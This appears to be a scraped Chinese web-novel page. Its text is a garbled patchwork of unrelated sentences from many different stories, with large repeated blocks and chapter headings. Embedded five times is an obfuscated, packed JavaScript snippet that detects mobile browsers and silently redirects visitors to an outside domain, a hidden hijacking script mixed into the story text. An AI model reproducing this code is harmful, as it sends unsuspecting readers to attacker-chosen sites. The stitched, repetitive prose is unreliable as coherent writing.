叶少的车紧跟在三辆豪车后面,一发现情况后,立即把速度减了下来,当拍得利的三辆豪车横冲到对面的道路上时,他的车正好也开到了卡车边上。 功劳堂坐落在饿鬼山脉,在饿鬼山脉里将再缘除了要换取**外,还要进驻饿鬼山脉,他如今已经是归臻期弟子,已经有资格在饿鬼山脉里进修了。 被人一直用枪指着。而你似乎都犯到了我最讨厌的这两件事,你说,该如何是好?”卫风眼中神‘色’一沉,冷冷说道。 “你打算从什么地方出城?”太岁跟王平走到街上,看着街道上已经躺倒的十多具尸体,问道。 林雨暄听到那几名医务人员地话,立刻连饭都不吃就向着医务人员所说的帐篷跑去。 灵识体积增长,强度增强,不久之后,黄玄灵便已感觉到神采奕奕,精力充沛。 黑色的大手此时已经覆盖整个祖地圣,包括先前不敢靠近的圣山此时也被覆盖,仿佛天地都被笼罩,眨眼间就将帝昃和天璇覆盖在了下方,其余种族的人不知**多少! 孟起安慰着自己,转身朝食堂那边跑了过去,他一把推开食堂的门,这里没有开灯,此时已是黄昏时分,里面显得很是幽暗,显然,这里也没有人。 “嘿嘿!我是谁你们没有必要知道!识相的,就将你们得自段家的东西交出,本人可以饶你们一命!否则的话,就休怪本人下手无情了!”黄玄灵故意压低了声音说道,给人一种老气横秋的感觉。 “算了,不怕一万,就怕万一。还是我在最前面吧!”幸好多多出来给古拉解围,要么就真的丢人了。 火月仙子脚踩斑斓大道不知飞越了多少星空,仿佛这天游氏族祖地深处贯穿整个大宇宙,那祖地深处遥不可及仿佛没有边际一般! 因为几位长老的意外打扰,两人间的气氛一下子被破坏的一干二净。 等到路过吴林镇暂歇之时百姓对肖公子的欢迎也是令众人吃惊,几乎全镇而动与道路两旁等候,家家做饭劳军,甄均家大业大出手便是百余肥猪,还要稍待两车美酒,却让肖公子也不免有些腼腆起来。 这老者此刻能做出这样的神通法术,完全是借助了这座荒岛之上阵法的缘故。 脑海中,有一丝疯狂的念头,却又觉得嗤之以鼻,不加以理会,不可能的,应该不可能的,怎么可能呢?安许诺,安许诺……她怎么可能是许诺呢? 剧烈的能量碰撞顿时爆发出轰然震响,周围的一切暮然被这道**力给向远处推开,就连**也不得远远的避开。 火焚天直接一个闪身,便避开了一个刺客的**,不过,另外一名刺客,却击中了火焚天。猛的火焚天的血量直接缩减了三分之一。 叶少的车紧跟在三辆豪车后面,一发现情况后,立即把速度减了下来,当拍得利的三辆豪车横冲到对面的道路上时,他的车正好也开到了卡车边上。 功劳堂坐落在饿鬼山脉,在饿鬼山脉里将再缘除了要换取**外,还要进驻饿鬼山脉,他如今已经是归臻期弟子,已经有资格在饿鬼山脉里进修了。 被人一直用枪指着。而你似乎都犯到了我最讨厌的这两件事,你说,该如何是好?”卫风眼中神‘色’一沉,冷冷说道。 “你打算从什么地方出城?”太岁跟王平走到街上,看着街道上已经躺倒的十多具尸体,问道。 林雨暄听到那几名医务人员地话,立刻连饭都不吃就向着医务人员所说的帐篷跑去。 灵识体积增长,强度增强,不久之后,黄玄灵便已感觉到神采奕奕,精力充沛。 黑色的大手此时已经覆盖整个祖地圣,包括先前不敢靠近的圣山此时也被覆盖,仿佛天地都被笼罩,眨眼间就将帝昃和天璇覆盖在了下方,其余种族的人不知**多少! 孟起安慰着自己,转身朝食堂那边跑了过去,他一把推开食堂的门,这里没有开灯,此时已是黄昏时分,里面显得很是幽暗,显然,这里也没有人。 “嘿嘿!我是谁你们没有必要知道!识相的,就将你们得自段家的东西交出,本人可以饶你们一命!否则的话,就休怪本人下手无情了!”黄玄灵故意压低了声音说道,给人一种老气横秋的感觉。 “算了,不怕一万,就怕万一。还是我在最前面吧!”幸好多多出来给古拉解围,要么就真的丢人了。 火月仙子脚踩斑斓大道不知飞越了多少星空,仿佛这天游氏族祖地深处贯穿整个大宇宙,那祖地深处遥不可及仿佛没有边际一般! 因为几位长老的意外打扰,两人间的气氛一下子被破坏的一干二净。 等到路过吴林镇暂歇之时百姓对肖公子的欢迎也是令众人吃惊,几乎全镇而动与道路两旁等候,家家做饭劳军,甄均家大业大出手便是百余肥猪,还要稍待两车美酒,却让肖公子也不免有些腼腆起来。 这老者此刻能做出这样的神通法术,完全是借助了这座荒岛之上阵法的缘故。 脑海中,有一丝疯狂的念头,却又觉得嗤之以鼻,不加以理会,不可能的,应该不可能的,怎么可能呢?安许诺,安许诺……她怎么可能是许诺呢? 剧烈的能量碰撞顿时爆发出轰然震响,周围的一切暮然被这道**力给向远处推开,就连**也不得远远的避开。 火焚天直接一个闪身,便避开了一个刺客的**,不过,另外一名刺客,却击中了火焚天。猛的火焚天的血量直接缩减了三分之一。 叶少的车紧跟在三辆豪车后面,一发现情况后,立即把速度减了下来,当拍得利的三辆豪车横冲到对面的道路上时,他的车正好也开到了卡车边上。 功劳堂坐落在饿鬼山脉,在饿鬼山脉里将再缘除了要换取**外,还要进驻饿鬼山脉,他如今已经是归臻期弟子,已经有资格在饿鬼山脉里进修了。 被人一直用枪指着。而你似乎都犯到了我最讨厌的这两件事,你说,该如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114795|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何是好?”卫风眼中神‘色’一沉,冷冷说道。 “你打算从什么地方出城?”太岁跟王平走到街上,看着街道上已经躺倒的十多具尸体,问道。 林雨暄听到那几名医务人员地话,立刻连饭都不吃就向着医务人员所说的帐篷跑去。 灵识体积增长,强度增强,不久之后,黄玄灵便已感觉到神采奕奕,精力充沛。 黑色的大手此时已经覆盖整个祖地圣,包括先前不敢靠近的圣山此时也被覆盖,仿佛天地都被笼罩,眨眼间就将帝昃和天璇覆盖在了下方,其余种族的人不知**多少! 孟起安慰着自己,转身朝食堂那边跑了过去,他一把推开食堂的门,这里没有开灯,此时已是黄昏时分,里面显得很是幽暗,显然,这里也没有人。 “嘿嘿!我是谁你们没有必要知道!识相的,就将你们得自段家的东西交出,本人可以饶你们一命!否则的话,就休怪本人下手无情了!”黄玄灵故意压低了声音说道,给人一种老气横秋的感觉。 “算了,不怕一万,就怕万一。还是我在最前面吧!”幸好多多出来给古拉解围,要么就真的丢人了。 火月仙子脚踩斑斓大道不知飞越了多少星空,仿佛这天游氏族祖地深处贯穿整个大宇宙,那祖地深处遥不可及仿佛没有边际一般! 因为几位长老的意外打扰,两人间的气氛一下子被破坏的一干二净。 等到路过吴林镇暂歇之时百姓对肖公子的欢迎也是令众人吃惊,几乎全镇而动与道路两旁等候,家家做饭劳军,甄均家大业大出手便是百余肥猪,还要稍待两车美酒,却让肖公子也不免有些腼腆起来。 这老者此刻能做出这样的神通法术,完全是借助了这座荒岛之上阵法的缘故。 脑海中,有一丝疯狂的念头,却又觉得嗤之以鼻,不加以理会,不可能的,应该不可能的,怎么可能呢?安许诺,安许诺……她怎么可能是许诺呢? 剧烈的能量碰撞顿时爆发出轰然震响,周围的一切暮然被这道**力给向远处推开,就连**也不得远远的避开。 火焚天直接一个闪身,便避开了一个刺客的**,不过,另外一名刺客,却击中了火焚天。猛的火焚天的血量直接缩减了三分之一。 叶少的车紧跟在三辆豪车后面,一发现情况后,立即把速度减了下来,当拍得利的三辆豪车横冲到对面的道路上时,他的车正好也开到了卡车边上。 功劳堂坐落在饿鬼山脉,在饿鬼山脉里将再缘除了要换取**外,还要进驻饿鬼山脉,他如今已经是归臻期弟子,已经有资格在饿鬼山脉里进修了。 被人一直用枪指着。而你似乎都犯到了我最讨厌的这两件事,你说,该如何是好?”卫风眼中神‘色’一沉,冷冷说道。 “你打算从什么地方出城?”太岁跟王平走到街上,看着街道上已经躺倒的十多具尸体,问道。 林雨暄听到那几名医务人员地话,立刻连饭都不吃就向着医务人员所说的帐篷跑去。 灵识体积增长,强度增强,不久之后,黄玄灵便已感觉到神采奕奕,精力充沛。 黑色的大手此时已经覆盖整个祖地圣,包括先前不敢靠近的圣山此时也被覆盖,仿佛天地都被笼罩,眨眼间就将帝昃和天璇覆盖在了下方,其余种族的人不知**多少! 孟起安慰着自己,转身朝食堂那边跑了过去,他一把推开食堂的门,这里没有开灯,此时已是黄昏时分,里面显得很是幽暗,显然,这里也没有人。 “嘿嘿!我是谁你们没有必要知道!识相的,就将你们得自段家的东西交出,本人可以饶你们一命!否则的话,就休怪本人下手无情了!”黄玄灵故意压低了声音说道,给人一种老气横秋的感觉。 “算了,不怕一万,就怕万一。还是我在最前面吧!”幸好多多出来给古拉解围,要么就真的丢人了。 火月仙子脚踩斑斓大道不知飞越了多少星空,仿佛这天游氏族祖地深处贯穿整个大宇宙,那祖地深处遥不可及仿佛没有边际一般! 因为几位长老的意外打扰,两人间的气氛一下子被破坏的一干二净。 等到路过吴林镇暂歇之时百姓对肖公子的欢迎也是令众人吃惊,几乎全镇而动与道路两旁等候,家家做饭劳军,甄均家大业大出手便是百余肥猪,还要稍待两车美酒,却让肖公子也不免有些腼腆起来。 这老者此刻能做出这样的神通法术,完全是借助了这座荒岛之上阵法的缘故。 脑海中,有一丝疯狂的念头,却又觉得嗤之以鼻,不加以理会,不可能的,应该不可能的,怎么可能呢?安许诺,安许诺……她怎么可能是许诺呢? 剧烈的能量碰撞顿时爆发出轰然震响,周围的一切暮然被这道**力给向远处推开,就连**也不得远远的避开。 火焚天直接一个闪身,便避开了一个刺客的**,不过,另外一名刺客,却击中了火焚天。猛的火焚天的血量直接缩减了三分之一。 叶少的车紧跟在三辆豪车后面,一发现情况后,立即把速度减了下来,当拍得利的三辆豪车横冲到对面的道路上时,他的车正好也开到了卡车边上。 功劳堂坐落在饿鬼山脉,在饿鬼山脉里将再缘除了要换取**外,还要进驻饿鬼山脉,他如今已经是归臻期弟子,已经有资格在饿鬼山脉里进修了。 被人一直用枪指着。而你似乎都犯到了我最讨厌的这两件事,你说,该如何是好?”卫风眼中神‘色’一沉,冷冷说道。 “你打算从什么地方出城?”太岁跟王平走到街上,看着街道上已经躺倒的十多具尸体,问道。 林雨暄听到那几名医务人员地话,立刻连饭都不吃就向着医务人员所说的帐篷跑去。 灵识体积增长,强度增强,不久之后,黄玄灵便已感觉到神采奕奕,精力充沛。 黑色的大手此时已经覆盖整个祖地圣,包括先前不敢靠近的圣山此时也被覆盖,仿佛天地都被笼罩,眨眼间就将帝昃和天璇覆盖在了下方,其余种族的人不知**多少! 孟起安慰着自己,转身朝食堂那边跑了过去,他一把推开食堂的门,这里没有开灯,此时已是黄昏时分,里面显得很是幽暗,显然,这里也没有人。 “嘿嘿!我是谁你们没有必要知道!识相的,就将你们得自段家的东西交出,本人可以饶你们一命!否则的话,就休怪本人下手无情了!”黄玄灵故意压低了声音说道,给人一种老气横秋的感觉。 “算了,不怕一万,就怕万一。还是我在最前面吧!”幸好多多出来给古拉解围,要么就真的丢人了。 火月仙子脚踩斑斓大道不知飞越了多少星空,仿佛这天游氏族祖地深处贯穿整个大宇宙,那祖地深处遥不可及仿佛没有边际一般! 因为几位长老的意外打扰,两人间的气氛一下子被破坏的一干二净。 等到路过吴林镇暂歇之时百姓对肖公子的欢迎也是令众人吃惊,几乎全镇而动与道路两旁等候,家家做饭劳军,甄均家大业大出手便是百余肥猪,还要稍待两车美酒,却让肖公子也不免有些腼腆起来。 这老者此刻能做出这样的神通法术,完全是借助了这座荒岛之上阵法的缘故。 脑海中,有一丝疯狂的念头,却又觉得嗤之以鼻,不加以理会,不可能的,应该不可能的,怎么可能呢?安许诺,安许诺……她怎么可能是许诺呢? 剧烈的能量碰撞顿时爆发出轰然震响,周围的一切暮然被这道**力给向远处推开,就连**也不得远远的避开。 火焚天直接一个闪身,便避开了一个刺客的**,不过,另外一名刺客,却击中了火焚天。猛的火焚天的血量直接缩减了三分之一。 叶少的车紧跟在三辆豪车后面,一发现情况后,立即把速度减了下来,当拍得利的三辆豪车横冲到对面的道路上时,他的车正好也开到了卡车边上。 功劳堂坐落在饿鬼山脉,在饿鬼山脉里将再缘除了要换取**外,还要进驻饿鬼山脉,他如今已经是归臻期弟子,已经有资格在饿鬼山脉里进修了。 第一卷 第226章 全境练兵! “哎我怎么犯蠢了!”苏煜阳在心里自责。先前胡月圆和凌秒的种种反应都表现出一件事:我们俩水火不相容。 一行人顺着人流慢慢沿河逛着姜艳夏拉着妹妹姜艳秋手不前不后走众人中间姜艳秋一边走一边兴奋赞叹不已。 我有些失望我以为她会高兴的答应想不到她还是推给了我她把冷墨琛说的那么好她为什么不去?难道他对帅哥有免疫力? 李丹若干脆让苏二奶奶意外怔了怔忙扑过去将才哥儿放到车上自己也忙爬上车李丹若想了想让人又寻了辆车两辆车一前一后出了客栈往京城赶回去。 仰头深深叹了一口气走到一扇窗户面前透过洁净的玻璃望着窗外。 凌阳想到李红袖穿着华贵却坐在脏兮兮的漆黑车厢里左面一堆白菜右边一堆萝卜苦着脸挑起一只手电筒的样子差点活活笑破了肚子。 “好了你下去吧。”姜艳湖不再多问挥手打发道翠羽满心焦躁抬头看了眼程老太太程老太太捻着佛珠眼睛似睁非睁仿佛根本没留心屋里事翠羽心里七上八下不敢妄为只好不情不愿曲膝退了出去。 王凯说道说是在这这些都是这些幽灵自找的成为幽灵之后脾气也变得暴躁了动不动就**神盾局怎么可能允许这样的存在呢。 偌大的皇城围墙城楼更是高达二十丈一色朱漆黄瓦外面是巡逻的御林军日夜不停轮流换班巡逻。 其实苏煜阳真实的想法是这样的:凌秒都能把火掌控于手掌之间没道理我不行吧? 不过几人如果都是中级轮回者或以上等级都能从轮回之令中看到具体的主线任务而从通关副本的意义上来说他们此行的目标是绝对的一致。 紧接着其它的高管也都纷纷附和道意思是一定会力挺通泰走到最后。 不过既然已经得到了李达彪家里的地址众人也不多说什么告别了王大哥来到了李达彪的家里。 “住手!”就在护卫又要挥下马鞭的时候 到底是什么时候这节操掉地上捡都捡不会来了呢?白落疑惑这还是原来的自己吗?白落质疑。 看着众修士朝自己冲了上来宋征大喝一声披靡心动初期修士的灵压立即释放了出来灵压一出整个山谷之中顿 你的朋友正在书荒,快去帮帮他吧 时弥漫开了一股无形的压力,冲上前来的修士心头一怔,心头宛若压了一块巨石一般。 “给我住手!叶林!我们的后台是邪云宗!邪云宗你知道不?你胆敢破坏我们的好事,就不怕被邪云宗追杀吗!”冷雾全力维持着法阵,同时狂吼道。 “放心好了,我不是已经把你亲自给我买的这件T恤穿上了嘛~相信接下来就不会有麻烦了,今天我们两人一定要在漫展上好好的玩一下”思琦宇很暧昧的说道。 由于这么一层关系,像是李达彪这样的二道贩子便从这些准备销毁的内脏中挑选一些新鲜的,可以食用的内脏卖给各地的食堂。像是胖大姐的特色内脏饭,就是用这些猪下水,猪杂碎做出来的。 萧萧鬼音兀地于耳畔缭绕开來,幻兮略显慌乱的面靥突忽一定:“你放心吧……”昙唇缓吐,她做了一个深深吐纳。 “羽哥,晚点。。。”赵雅馨轻轻推开了韩羽的身体低着头轻轻咬着嘴唇。 才子看后打上:是,你也知道了这件事了?不过老丫她生活的很苦,这让我烦心。 “蛤?那你老公没事吧?“轩辕笑回忆自己当时全力将对方脊椎踢断,登时关心道。 推门而进的人正是映雪国的王爷完颜萧,只是这突然的话听得完颜似乎傻了,怔怔地盯着颜月片刻又把目光转向了慕容炎,聪明地保持了沉默。 才子说:对了,B安排老丫爹一会和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135529|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲍斯日古冷见面。你先把她接回家,B们去你家里。 不渝一转身,玄冰拥她怀里,那抹白衣在玄冰黑色羽翼的拥抱之中很是分明。 薛韵阕提一盏灯笼,走出绣庄,昏黄摇曳的灯笼在夜里轻轻晃荡,韵阕披着夜行的黑衣,防风又避人目光,比起白天她万众瞩目的装扮,夜里甚是低调不少。 比蒙巨兽虽然疼痛无比,却又投鼠忌器,不敢胡乱对希格动粗,但又不甘心受制,只能胡乱地拍打着周围的山石。 初中时代的他同样拥有着不低于当今新人王葛倚哲的名气。黄华队,加盟黄花高中之时,任勤和其余篮球选手一样有着远大的理想目标。想要带领这支沉沦在联赛末端的弱旅完成逆袭,赢得最高荣誉。 邱大成其实他还真没像曹簿兴想那么多,他是想化敌为友,交个朋友。 苏离的猜测并没有错,阿成和阿may确实是在执行秘密任务,而这个任务直接决定了今晚胜败的走向。 已是二更天了,李微让人还在房门上留着灯,担心一会儿伏申过来了摸黑。可是等来等去也不见他的身影。 除了最亲的父母外,沐妍几乎是没有发新年祝福短信的,以往都是除夕,大年初一手机响声不断,而今年乔海直接帮她关机了。 下午3点,90多架飞机到达平度机场。原本平度机场就修的比涞阳的要大的多,所以,放这90多架飞机,也不在话下。 那些神圣的知识权能储存在一颗光彩夺目的水晶里,伊南娜高兴地接过了水晶形式的me。 “既然你们已经把自己的底牌都给掀出来了,那么接下来就要换我们啦!”谁知道,这一次,抢先打乱了原本交手的节奏点的人,居然会是王昭。 露雅开心地将面包和饼分层放在炉膛里烘烤,回头一看萝卜也被切得片薄齐整,漂亮地码放在陶碗里。 第一卷 第227章 自拟罪状! 一旦他夺得皇位再施展雷霆手段**部分大臣便可轻而易举的稳住局势。 ??听到脑海里陡然响起的声音顾青转过身来脸上的笑容冷了下来。 就算席寒时拒绝了盛翘就算他们三年没有联系楚忻和褚越也从来没有怀疑过盛翘对席寒时有多么重要。 接下来的几天萧腾继续没怎么回湖景花园住而琉璃也有些忙。 顿时太极宫里一众宫人端着无数美食珍馐一个接着一个进来。一时间琥珀酒、碧玉觞、金足樽、翡翠盘食如画、酒如泉古琴涔涔、钟声叮咚。 ??不然前面对付憎恶的情况早就会在绿胖身上上演不知多少遍了。 “正是子秋先生雄才伟略手段非凡令朕钦佩不已。”嬴政哈哈一笑。 不过好在看到直升机到了一定的高度叶天就算再愤怒那也是无能狂怒了还能将自己如何? 袁绍军也不甘示弱有一个个法师出现开始操控地势发起攻击。 记得他们刚结婚那会儿季璃还在郁闷怎么会准备这么多东西?难道是为客人准备的?现在她想明白了可能是他吩咐置办的专门为了她。 “终于可以一雪前耻了!”想到之前的几天陨星大阵作为主要的攻击阵法却没有什么作为陨星大阵的主持者就十分的不甘现在修为提升后终于可以展现自己存在的价值了。 与此同时坎纳斯及其麾下亲属隐藏的地方变得犹如地狱一般到处都是惨叫和哭喊之声。 要是决定挪用大量资源培养一个天资很差的弟子这种付出与收入不成正比的傻事就算是有很重要的**意义也是要经过宗门所有高层通过才能实施的。 然而朱傲清的打算注定是要落空了 “我会控制住这股力量并最终消除这个力量我会拥有完全属于自己比伏地魔要强大的力量。”哈利斩钉截铁的说道他的眼里充满了斗志。 柳一鸣自然猜到了一些**的想法他只是一个纨绔子弟但不是一个没有脑子。相反会玩的智商都不会很低否则很容易把自己陷进去。万花丛中过片叶不沾身才是柳一鸣的人生观。 程砚秋眉头一凛就 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 要再次冲上去,可就在此时,时玉自己却身形一闪,堪堪从那包围圈中逃了出来。 只是可惜了这一次让古丽热娜身价抬高的机会,不过这样也好,外人虽然猜测,也看不出他俩的关系,对她现阶段的发展也不算害处。 休息室里微微有些骚动,果然是巴蒂克劳奇违反了规定,将自己的儿子救出了阿兹卡班。 夏临海眼神复杂的看着她消失的方向,他知道他和杨雨雪之间出了问题,从3个月前她就变了,之后到现在都有意无意的避开他的求欢。 徐达日后是他的得力大将,虽然今天徐达看起来对他很热情,但是朱重八总觉得有点不对劲,但是他也说不出来这是哪里不对。 此时浑身更多的是一种酥酥麻麻的感觉,如同有人按摩一般,频率不定的一定刺痛感,贺郑反倒是感觉还不错。 手机销售给普通人,看的是性价比,经济实用性,销售给有钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135530|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,却是卖的格调和高雅。 芬奇知道格格的性子,也不打算多言,时间宝贵,一分一秒都性命攸关,点了点头,一挥手,带着人跟着左辰冲出了右手边第一扇大门。 然而,如今在这千岛海域中的中流岛上,此时却是有着一个巨大白色灵阵。 刚才听了李善长的话之后,朱元璋心里在想这件事情,也许李善长说的是对的。 结果自然不用多说,他直接被陈易击中,身体瞬间就飞了出去,重重的衰落在地上。 “生死花?”陈易一听这名字,顿时觉的有些莫名的熟悉,好像在什么地方听过,可仔细一想的话,却又没什么线索。 这时候,刘凯二哥竟然走了过来,感受到苏逆身上澎湃的气息,眼中闪过一抹惊诧之色。 “老公,怎么办?”周晓梅也有些慌了,在庆丰没有回来之后,她就知道她当天的建议惹祸了,不但让散修联盟损失了一个A级超凡者,而且还得罪了天神组织,现在天神组织的人找上门,她怎么可能不担心? 到了那个时候,往返魔狼族,或者是魔牛族,只需要一周时间了。 把江流打赢了,还可以用偷袭外加顶级武者功力转换成超凡灵力作为借口,这要是正面肛翻了三个掌灵期,林孟肯定,不出意外,他绝壁要在白虹门出名了。 辞职那一个月,正好是九月份,所以作者ID就叫做九月夏日梦。 涵雪只有一个月的时间,他如果选择修炼晋级化气境后期再去击杀赤甲地龙,时间上就来不及,所以不得不冒险以化气境中期的境界对战赤甲地龙。 第一卷 第228章 恶吏欺人! 这确实是林枫他们现在面临的一个巨**烦,他们无惧这些骸骨生灵,甚至可以击杀这些骸骨生灵,但这些骸骨生灵可以源源不断的复活,这是相当要命的事情。 回鹘建国之初,南方的大唐正值盛世,万邦来朝,威震东西。这个时期回鹘人的建筑风格趋向大唐,不论皇宫、官府,还是权贵、富商,建筑风格就散发着浓烈的大唐风韵。 “秦良玉果然是秦良玉!白竿军也不愧是白竿军!另外其他的明军应该是明国的贵州军和川军吧!同样战力非凡!马俊龙拖着腮沉吟道,马俊龙正是此次突袭战的指挥统率。 “好!既然如此,你们就给列个调理期的一些注意事项,还有该吃些什么东西,都列好!到时候给巧儿,明白了吗? “老公,那我得去药店一趟了。唐筱萱走过来,一脸认真的说道。 突然到完全没有留下一丁点机会,让他提前,甚至是延后向她请假。 不一会儿,卡瓃太上长老便平复了心情,再度戴上虚拟头盔,进入游戏。 那五个地阶四纹丹师不禁苦笑,难怪这山壁之中的神秘丹师不出来,原来其还未达到极限。 “想想以前的……哎,算了算了,要是能治好就好了。有人不由想起了什么,其他人闻言,情绪也不由变得低落起来。 因为灵玉只对于低级修士有用,里面蕴含着精纯无比的灵力,可以直接吸收为己所用,但对于化神这种境界的高手来说,完全就是垃圾,沈千三留意了一下关于货币的信息,果然发现灵玉根本就不算一种货币。 这种**机,至少是弓箭的二倍射程,很是恐怖。这是冷兵器时代的限制级武器。 可是,一向自负勇力的他,又如何会去学习这些他看起来并不重要的花招呢? 现在角城的大局已经定了,你们就算私下有代理人,也已经出局了,还争个什么。 在战场没有足够分量的盟军统帅调解的情况下,决斗一事,已成定局。 一声震天动地的轰鸣,无数忍者露出骇然的目光看去,只见一只巨大的**,被完全体的八尾直接一拳硬生生的轰飞了出去。 一拳之威,让雷正面的两百多名罪民远远的飞跌了出去。浑身衣衫、铠甲炸得差不多,只有几条布条挂在身上的雷气恼的抓着自己的‘狮心’长剑,彷佛一头野兽一样跳了起来,狠狠 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的扑向了面前的罪民。 “这个难道就是大哥所说的奥数战场之中的密宝之地吗?”萧炎皱着眉头沉思了片刻,突然眼中冒出了一阵亮光。 新亮银枪在手,赵云气质又自不同,风一般闪出,几个起落,便在屋檐街角,窜向城门另一个方向。 在那炼狱深处,涌动着所有罪恶的魔鬼之地,风尘将去,这个世界终究是出现了有一抹纯净的颜色。 补气灵物大致可分为两类,一类是炉鼎练就的补气丹药,不过此时道人练气皆走内丹法门,已经很少有人熔炼并服食外丹,似天启子当日送他的那种丹药已经非常少见,便是有,也都是多年之前留下的,存世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135531|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很少,极难获得。 苏怀惊愕的看着房锦心中想道“这家伙还真是走到哪偷到哪”,便一口回绝道“不好”。 “怎么样?可以么?我是真的没有带钱。”韩轲现在是郁闷到了极点,没想到就到门口了,还碰上这档子事,要不是不想惹事儿,他都有种想揍人的冲动了。 “不不不,我们当然没吃完。”众人连忙走上去将那只大铁锅给死死地围住,生怕木梓飞把这剩下的肉给扔掉了似的。 擦了下眼中的泪水,陈旭坐在床头上,用手摸着床上的被子,想寻找一丝关于爷爷的味道,随后和衣而睡,沉沉的睡了过去。 所以虽然几家顶级势力都多多少少卖生灭宗的面子前来观礼,但是贺礼却是不约而同的选择了无视,倒也不是拿不出手,只是面子上的问题。而顶级势力不送贺礼,其余的那些势力谁还敢送贺礼? 再说老子讲道,她要是离席而去,这怕是封神榜要有她的名字了。 “还有,知道为什么我只是打晕伊诺克而没有杀掉他吗?”蔚池雪看着我问道。 “此事不管何人传出,但对我等所查却是大有助益”贺云双说道。 想罢,孔宣根本不做任何犹豫,传音给大鹏,让其稳坐中军,而自己却是径直腾空而起直奔五方佛而去。 这话一说,餐桌上一片喧哗,大家都彼此望去,然后很多人都笑了。 不仅刘长风和修同贵想不通,就连老祖宗等贾府中人都想不通。原来那牛继宗可是准备了120台马车的,珉哥儿这么说,可就是有点儿耍无赖了。 第一卷 第229章 无需留手! “我相信他!” 看着邹川从那残破的柱后面绕过来,一步一步的朝斑斓壳虫逼过去,荣夫人感觉自己的嘴里一阵发干,心脏急剧的跳动。 “哼。”南宫秋放开了我,走到轩辕逸飞身前,轩辕逸飞的目光不离他半分,就像捕捉猎物一般牢牢将他捉住。 他一下弹坐起来,我拉住了他白色的衣领,没想到这只贱狐狸倒是穿衣服睡觉,而那个刻板的淳于紫宸却是裸睡。 “难道是?。黄鸣球想到了里面可能是传说中的金鹰勋章,心顿时扑腾扑腾跳了起来。 “这座城市没有任何交通工具,因为。这座城市的重力很大,如果使用交通工具,会对城市的反重力系统造成强大的压力,从而破坏城市的重力平衡,在这座城市。只能依靠人力自己行动。”麦克停顿了一瞬间,立刻道。 “承让了。”见此情形,谭纵微微一笑,拎着**冲着张山拱了一下手。 古尔丹手下的这一千多名骑兵共一千四百人,现已损失数百人,并不全是曹铄带到中原的并州骑兵。 “当然,因为我经历了很多事,一直在生死边缘游走,今天能见到你,算是万幸了。”即使有神秘系统在身,他也不是不死的,就像那一次碰到史诗兽,如果没有芙薇丽在,他最多是和那头野兽来个两败俱亡的结果。 但是,那个想法一冒出来,就如同种子一般,迅速生根发芽,牢牢的扎进心里。 龙飞云下到暗道,暗道里光线幽暗,空气却十分新鲜,可见这里一定有别的通风口,墙上的油灯忽闪忽闪的,但不影响目力,暗道尽头有一扇门,门是关着的,难道万大老板就在那里吗? 在英俊突破的时候,采药岭其他的家族也都在各自的议论了起来。 裤腿被山藤划破,也划伤了皮肤,鲜血流了出来,他似乎也未觉察出。 就在那个以灵力幻化而成的巨大黑拳堪堪触及风睿的头顶时,奇怪的事发生了。 石子是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135532|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞了出去,而且轻微的劲风,在空中划了一个短促的弧线后便掉落了下去,什么准头不准头的,根本是连目标都没有命中。 